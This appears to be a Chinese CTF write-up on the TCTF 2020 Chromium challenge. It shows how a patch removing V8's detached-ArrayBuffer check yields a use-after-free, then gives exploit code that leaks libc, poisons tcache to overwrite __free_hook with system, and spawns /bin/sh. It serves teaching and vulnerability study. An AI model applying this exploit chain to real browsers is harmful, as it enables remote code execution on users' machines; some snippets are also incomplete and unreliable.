透过tcft2020的chromium_rce学习V8
字数 1045 2025-08-24 10:10:13

V8漏洞分析与利用:从tcft2020 Chromium RCE学习V8引擎漏洞利用

1. 环境搭建

1.1 准备工作

  1. 代理设置(国内用户需要):

    # 编辑 ~/.gitconfig
    [http]
    proxy = http://your_proxy_ip:port
    [https]
    proxy = http://your_proxy_ip:port
    
    # 在 ~/.zshrc 添加
    alias proxy="export ALL_PROXY=http://your_proxy_ip:port"
    alias unproxy="unset ALL_PROXY"
    
  2. 安装depot_tools

    git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
    echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.zshrc
    
  3. 安装ninja

    git clone https://github.com/ninja-build/ninja.git
    cd ninja && ./configure.py --bootstrap && cd ..
    echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.zshrc
    

1.2 编译V8

  1. 获取指定版本的V8

    fetch v8 && cd v8
    git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
    gclient sync
    
  2. 应用补丁

    git apply 'path/to/tctf.diff'
    
  3. 编译debug版本

    tools/dev/v8gen.py x64.debug
    ninja -C out.gn/x64.debug d8
    
  4. 编译release版本

    tools/dev/v8gen.py x64.release
    ninja -C out.gn/x64.release
    
  5. GDB调试设置

    # 在 ~/.gdbinit 添加
    source /path/to/v8/tools/gdbinit
    source /path/to/v8/tools/gdb-v8-support.py
    

2. 题目分析

2.1 补丁分析

关键修改在typed-array-set.tq文件中:

- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);

这个修改移除了对ArrayBuffer是否被detached的检查,导致即使ArrayBuffer已经被释放(detached),仍然可以对其进行读写操作。

2.2 漏洞原理

  1. 正常流程

    • 当ArrayBuffer被detached后,任何访问操作都应该抛出TypeError异常
    • EnsureAttached函数会检查ArrayBuffer状态
  2. 漏洞流程

    • 补丁移除了状态检查
    • 即使ArrayBuffer被detached,仍然可以读写其内存
    • 导致UAF(Use After Free)漏洞

3. 漏洞利用

3.1 调试方法

  1. 启动调试

    gdb --args ./d8 --allow-natives-syntax /path/to/exploit.js
    
  2. 设置断点
    在JS代码中插入:

    %SystemBreak();  // 触发DebugBreak断点
    

3.2 利用步骤

  1. 分配和释放内存

    var chunk0 = new Uint8Array(0x1000);
    var chunk1 = new Uint8Array(0x1000);
    %ArrayBufferDetach(chunk0.buffer);
    %ArrayBufferDetach(chunk1.buffer);
    
  2. 泄漏libc地址

    chunk2.set(chunk1);
    var libc_base = b2i(chunk2.slice(8, 16)) - 0x3ebca0n;
    
  3. 准备tcache攻击

    var chunk4 = new Uint8Array(0x300);
    var chunk5 = new Uint8Array(0x300);
    %ArrayBufferDetach(chunk4.buffer);
    %ArrayBufferDetach(chunk5.buffer);
    
  4. 劫持__free_hook

    chunk5.set(i2l(free_hook));  // 将free_hook地址写入tcache
    var chunk6 = malloc(0x300);  // 分配得到free_hook处的内存
    chunk6.set(i2l(system));     // 将system地址写入free_hook
    
  5. 触发shell

    // 写入"/bin/sh"字符串
    chunk6[0] = 0x2f;  // '/'
    chunk6[1] = 0x62;  // 'b'
    chunk6[2] = 0x69;  // 'i'
    chunk6[3] = 0x6e;  // 'n'
    chunk6[4] = 0x2f;  // '/'
    chunk6[5] = 0x73;  // 's'
    chunk6[6] = 0x68;  // 'h'
    chunk6[7] = 0x00;  // '\0'
    
    %ArrayBufferDetach(chunk6.buffer);  // 触发free,执行system("/bin/sh")
    

3.3 辅助函数

// BigInt转ArrayBuffer
function b2i(a) {
    var b = new BigUint64Array(a.buffer);
    return b[0];
}

// BigInt转Uint8Array
function i2l(i) {
    var b = new Uint8Array(BigUint64Array.from([i]).buffer);
    return b;
}

// 格式化输出
function hex(i) {
    return '0x' + i.toString(16).padStart(16, '0');
}

// 通过Uint8Array分配内存(可以分配到tcache)
function malloc(size) {
    var chunk = {};
    chunk.length = size;
    var addr = new Uint8Array(chunk);
    return addr;
}

4. 关键点总结

  1. 漏洞本质:移除ArrayBuffer的attached状态检查导致UAF

  2. 利用链

    • 通过释放大块内存泄漏libc地址
    • 利用tcache poisoning劫持__free_hook
    • 写入system地址并触发
  3. 调试技巧

    • 使用%SystemBreak()设置断点
    • 使用%DebugPrint查看对象信息
    • 注意区分debug和release版本的差异
  4. 内存操作

    • 通过Uint8Array/BigUint64Array进行精确内存读写
    • 注意大小端问题
  5. 利用限制

    • 题目移除了--allow-native-syntax支持
    • 但保留了%ArrayBufferDetach功能

5. 扩展思考

  1. 其他可能的利用方式

    • 除了tcache攻击,也可以考虑fastbin攻击
    • 可以尝试劫持v8内部结构实现更稳定的利用
  2. 防护措施

    • 保持ArrayBuffer状态检查
    • 使用现代防护机制(如PAC, MTE等)
  3. 现实意义

    • 类似漏洞在真实浏览器中可能导致RCE
    • 理解这类漏洞有助于分析现代JS引擎安全问题
V8漏洞分析与利用:从tcft2020 Chromium RCE学习V8引擎漏洞利用 1. 环境搭建 1.1 准备工作 代理设置 (国内用户需要): 安装depot_ tools : 安装ninja : 1.2 编译V8 获取指定版本的V8 : 应用补丁 : 编译debug版本 : 编译release版本 : GDB调试设置 : 2. 题目分析 2.1 补丁分析 关键修改在 typed-array-set.tq 文件中: 这个修改移除了对ArrayBuffer是否被detached的检查,导致即使ArrayBuffer已经被释放(detached),仍然可以对其进行读写操作。 2.2 漏洞原理 正常流程 : 当ArrayBuffer被detached后,任何访问操作都应该抛出TypeError异常 EnsureAttached 函数会检查ArrayBuffer状态 漏洞流程 : 补丁移除了状态检查 即使ArrayBuffer被detached,仍然可以读写其内存 导致UAF(Use After Free)漏洞 3. 漏洞利用 3.1 调试方法 启动调试 : 设置断点 : 在JS代码中插入: 3.2 利用步骤 分配和释放内存 : 泄漏libc地址 : 准备tcache攻击 : 劫持__ free_ hook : 触发shell : 3.3 辅助函数 4. 关键点总结 漏洞本质 :移除ArrayBuffer的attached状态检查导致UAF 利用链 : 通过释放大块内存泄漏libc地址 利用tcache poisoning劫持__ free_ hook 写入system地址并触发 调试技巧 : 使用%SystemBreak()设置断点 使用%DebugPrint查看对象信息 注意区分debug和release版本的差异 内存操作 : 通过Uint8Array/BigUint64Array进行精确内存读写 注意大小端问题 利用限制 : 题目移除了--allow-native-syntax支持 但保留了%ArrayBufferDetach功能 5. 扩展思考 其他可能的利用方式 : 除了tcache攻击,也可以考虑fastbin攻击 可以尝试劫持v8内部结构实现更稳定的利用 防护措施 : 保持ArrayBuffer状态检查 使用现代防护机制(如PAC, MTE等) 现实意义 : 类似漏洞在真实浏览器中可能导致RCE 理解这类漏洞有助于分析现代JS引擎安全问题